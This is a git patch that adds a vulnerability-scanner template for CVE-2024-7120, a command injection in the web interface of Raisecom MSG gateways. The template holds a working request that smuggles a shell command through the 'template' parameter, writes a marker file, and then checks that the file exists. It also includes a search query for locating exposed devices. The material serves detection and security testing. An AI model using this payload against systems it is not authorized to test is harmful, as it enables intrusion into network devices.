From 58d91f97095b3e245536c325c73316f9d44fd390 Mon Sep 17 00:00:00 2001
From: pussycat0x <65701233+pussycat0x@users.noreply.github.com>
Date: Thu, 1 Aug 2024 10:23:00 +0530
Subject: [PATCH] Create CVE-2024-7120.yaml
---
http/cves/2024/CVE-2024-7120.yaml | 44 +++++++++++++++++++++++++++++++
1 file changed, 44 insertions(+)
create mode 100644 http/cves/2024/CVE-2024-7120.yaml
diff --git a/http/cves/2024/CVE-2024-7120.yaml b/http/cves/2024/CVE-2024-7120.yaml
new file mode 100644
index 0000000000..ea2ab55e57
--- /dev/null
+++ b/http/cves/2024/CVE-2024-7120.yaml
@@ -0,0 +1,44 @@
+id: CVE-2024-7120
+
+info:
+ name: Raisecom MSG1200, MSG2100E, MSG2200 and MSG2300 3.90 - command Injection
+ author: pussycat0x
+ severity: critical
+ description: |
+ A vulnerability, which was classified as critical, was found in Raisecom MSG1200, MSG2100E, MSG2200 and MSG2300 3.90. This affects an unknown part of the file list_base_config.php of the component Web Interface. The manipulation of the argument template leads to os command injection. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-272451.
+ reference:
+ - https://netsecfish.notion.site/Command-Injection-Vulnerability-in-RAISECOM-Gateway-Devices-673bc7d2f8db499f9de7182d4706c707?pvs=4
+ - https://vuldb.com/?ctiid.272451
+ - https://vuldb.com/?id.272451
+ - https://vuldb.com/?submit.380167
+ classification:
+ cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L
+ cvss-score: 6.3
+ cve-id: CVE-2024-7120
+ cwe-id: CWE-78
+ epss-score: 0.00046
+ epss-percentile: 0.16951
+ metadata:
+ verified: true
+ max-request: 2
+ fofa-query: '"Web user login" && ""'
+ tags: cve,cve2024,intrusive,raisecom
+
+http:
+ - raw:
+ - |
+ GET /vpn/list_base_config.php?type=mod&parts=base_config&template=%60echo%20-e%20%27{{randstr}}%27%3E%20%2Fwww%2Ftmp%2Finfo.html%60 HTTP/1.1
+ Host: {{Hostname}}
+ - |
+ GET /tmp/info.html HTTP/1.1
+ Host: {{Hostname}}
+
+ matchers:
+ - type: word
+ part: body_2
+ words:
+ - "{{randstr}}"
+
+ - type: status
+ status:
+ - 200